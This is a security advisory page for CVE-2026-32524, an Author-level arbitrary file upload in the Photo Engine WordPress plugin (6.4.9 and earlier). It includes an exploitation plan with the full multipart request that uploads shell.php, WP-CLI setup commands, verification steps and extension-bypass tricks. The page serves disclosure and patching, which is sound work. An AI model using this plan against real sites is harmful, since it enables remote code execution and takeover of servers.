CVE-2026-32524

Photo Engine (Media Organizer & Lightroom) <= 6.4.9 - Authenticated (Author+) Arbitrary File Upload

highUnrestricted Upload of File with Dangerous Type
8.8
CVSS Score
8.8
CVSS Score
high
Severity
6.5.0
Patched in
8d
Time to patch

Description

The Photo Engine (Media Organizer & Lightroom) plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 6.4.9. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=6.4.9
PublishedMarch 20, 2026
Last updatedMarch 27, 2026
Affected pluginwplr-sync

What Changed in the Fix

Changes introduced in v6.5.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Verified by PoC

# Exploitation Research Plan: CVE-2026-32524 (Photo Engine Arbitrary File Upload) ## 1. Vulnerability Summary The **Photo Engine (Media Organizer & Lightroom)** plugin (formerly WP/LR Sync) is vulnerable to an authenticated arbitrary file upload in versions up to and including 6.4.9. The vulnerabil…

Show full research plan

Exploitation Research Plan: CVE-2026-32524 (Photo Engine Arbitrary File Upload)

1. Vulnerability Summary

The Photo Engine (Media Organizer & Lightroom) plugin (formerly WP/LR Sync) is vulnerable to an authenticated arbitrary file upload in versions up to and including 6.4.9. The vulnerability exists because the plugin's custom API endpoint (/?wplr-sync-api) handles file uploads for synchronization without validating the file extension or MIME type. An attacker with Author level access (or any user with the upload_files capability) can obtain an API token and upload a malicious PHP file to the server, leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Endpoint: Custom API endpoint triggered when the URL ends with /?wplr-sync-api.
  • Authentication: Requires a valid wplr_auth_token associated with a user who has Author or higher privileges.
  • Vulnerable Parameter: The file parameter in the $_FILES array and the file parameter in the $_POST array (used for naming).
  • Preconditions:
    • The attacker must have a valid account on the WordPress site.
    • The account must have a wplr_auth_token set in its user metadata.

3. Code Flow

  1. Entry Point: Meow_WPLR_Sync_API::__construct() in classes/api.php checks if the request URI ends with /?wplr-sync-api.
  2. Request Handling: handleRequest() is called on the init hook.
  3. Dispatch: If $_POST['action'] === 'sync', the code calls $this->auth( $_POST['token'] ).
  4. Authentication: auth($token) queries the database for a user where meta_key = 'wplr_auth_token' matches the provided token. It sets $this->user.
  5. Processing: sync($_POST) is called.
    • It retrieves the temporary file path: $file = $_FILES['file']['tmp_name'].
    • It creates a Meow_WPLR_Sync_LRInfo object.
    • It sets $lrinfo->lr_file = $args["file"] (this is the user-controlled filename from $_POST['file']).
  6. Sink: It calls $wplr->sync_media( $lrinfo, $file, $args["wp_col_id"], $this->user->ID ).
  7. Execution: While the full source of sync_media is not provided, the plugin typically uses $lrinfo->lr_file to determine the destination filename in the WordPress uploads directory. The lack of validation in api.php before calling sync_media allows the upload of .php files.

4. Nonce Acquisition Strategy

This specific endpoint does not use standard WordPress nonces. Instead, it uses a custom wplr_auth_token.

  • Strategy:
    1. Log in as an Author.
    2. Navigate to the user profile page.
    3. The wplr_auth_token is typically displayed in the "Photo Engine" or "WP/LR Sync" section of the WordPress profile.
  • PoC Automation: Since the agent has control over the environment, we will programmatically set the token for our test user to simplify the exploit.
    • wp user meta update author_user wplr_auth_token "PwnedToken123"

5. Exploitation Strategy

The exploit involves sending a multipart/form-data POST request to the custom API endpoint.

Step-by-Step Plan:

  1. Identify Target: http://<target>/index.php/?wplr-sync-api
  2. Set Headers: Content-Type: multipart/form-data
  3. Construct Payload:
    • action: sync
    • token: PwnedToken123 (The token we set via WP-CLI)
    • id: 9999 (Arbitrary Lightroom ID)
    • file: shell.php (The desired filename on the server)
    • title: Exploit
    • tags: []
    • file (Uploaded file): <?php phpinfo(); ?>

HTTP Request (Conceptual):

POST /?wplr-sync-api HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="action"

sync
------WebKitFormBoundary
Content-Disposition: form-data; name="token"

PwnedToken123
------WebKitFormBoundary
Content-Disposition: form-data; name="id"

9999
------WebKitFormBoundary
Content-Disposition: form-data; name="file"

shell.php
------WebKitFormBoundary
Content-Disposition: form-data; name="tags"

[]
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php phpinfo(); ?>
------WebKitFormBoundary--

6. Test Data Setup

  1. Create Author User:
    wp user create attacker attacker@example.com --role=author --user_pass=password
  2. Assign Token:
    wp user meta update attacker wplr_auth_token "PwnedToken123"
  3. Ensure Plugin is Active:
    wp plugin activate wplr-sync

7. Expected Results

  • The server should respond with a JSON object containing "success": true.
  • A file named shell.php should be created in the WordPress uploads directory (usually wp-content/uploads/wplr-sync/ or similar, depending on plugin configuration).
  • Accessing the uploaded file via a browser/HTTP request should execute the PHP code.

8. Verification Steps

  1. Check Filesystem:
    Use WP-CLI to find the file: find /var/www/html/wp-content/uploads -name shell.php
  2. Confirm Execution:
    Send an HTTP GET request to the path of the uploaded file and check for the phpinfo string in the response.
  3. Plugin Logs:
    The plugin logs activity. Check wp-content/uploads/wplr-sync.log if it exists.

9. Alternative Approaches

If the custom API endpoint is disabled or requires specific headers:

  • REST API Path: Analyze classes/rest.php. While the primary vulnerability is in the custom API, there may be parallel issues in the REST routes like /linkinfo_upload (referenced in api.php line 77).
  • Filename Manipulation: If shell.php is blocked by some filter, try shell.php.jpg or shell.phtml to see if the plugin handles double extensions or alternative PHP extensions.
Research Findings

Summary

The Photo Engine plugin for WordPress fails to validate file extensions on its custom API synchronization endpoint. Authenticated users with Author-level privileges (possessing the `upload_files` capability) can exploit this by providing a malicious PHP filename and content to the sync endpoint, leading to remote code execution.

Vulnerable Code

// classes/api.php:229
function sync( $args ) {
    global $wplr;
    if ( !$_FILES || !isset( $_FILES['file'] ) ) {
        $wplr->log( 'Parameter missing.' );
        return $this->response( null, false, 'Parameter missing.' );
    }
    $lrinfo = new Meow_WPLR_Sync_LRInfo();
    $lrinfo->lr_id = $args["id"];
    $lrinfo->lr_file = $args["file"]; // Attacker-controlled filename
    $lrinfo->lr_title = $args["title"];
    // ... (lines 236-244)
    $file = $_FILES['file']['tmp_name'];

    if ( !isset( $args["wp_col_id"] ) || $args["wp_col_id"] == null )
        $args["wp_col_id"] = -1;
    // The sync_media call processes the file without validating its extension
    if ( !$sync = $wplr->sync_media( $lrinfo, $file, $args["wp_col_id"], $this->user->ID ) ) {
        return $this->response( null, false, $wplr->get_error() );
    }
    return $this->response($sync);
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wplr-sync/6.4.9/app/index.js /home/deploy/wp-safety.org/data/plugin-versions/wplr-sync/6.5.0/app/index.js
--- /home/deploy/wp-safety.org/data/plugin-versions/wplr-sync/6.4.9/app/index.js	2026-01-27 04:01:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wplr-sync/6.5.0/app/index.js	2026-02-25 15:11:08.000000000 +0000
@@ -1,3 +1,3 @@
 /*! For license information please see index.js.LICENSE.txt */
-(()=>{"use strict";var e,t={79:(e,t,n)=>{var r,a,o,l,i,c=n(1746),u=n(9570),s=n(3391),d=n(6089),f=n(1368),p=n(3648),m=n(1774),y=n(2223),h=n(4114),g=n(9176),v=n(5952),b=n(1168),E=n(2685),w=n(2925),R=n(4810),k=n(3531),S=pEngine.prefix,O=(pEngine.domain,pEngine.rest_url.replace(/\/+$/,"")),I=pEngine.api_url.replace(/\/+$/,"")),P=pEngine.plugin_url.replace(/\/+$/,"")),A="1"===pEngine.is_pro,x=(A&&pEngine.is_registered,pEngine.rest_nonce),T=n(1794),j=n(5643);function C(e,t){return t||(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(t)}}))}
... (truncated)

Exploit Outline

The exploit targets the custom API endpoint enabled when the request URI ends with `/?wplr-sync-api`. An attacker requires Author-level access to obtain their `wplr_auth_token` from their WordPress user profile. 1. Authenticate as an Author and retrieve the `wplr_auth_token`. 2. Send a multipart/form-data POST request to `http://<target>/?wplr-sync-api`. 3. Include form fields: `action=sync`, `token=<token>`, `id=<arbitrary_id>`, and `file=shell.php`. 4. Attach the malicious PHP script in the `file` upload field. 5. The plugin saves the file based on the `file` POST parameter without validation. 6. Access the shell at the plugin's default upload directory (typically `wp-content/uploads/wplr-sync/shell.php`).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.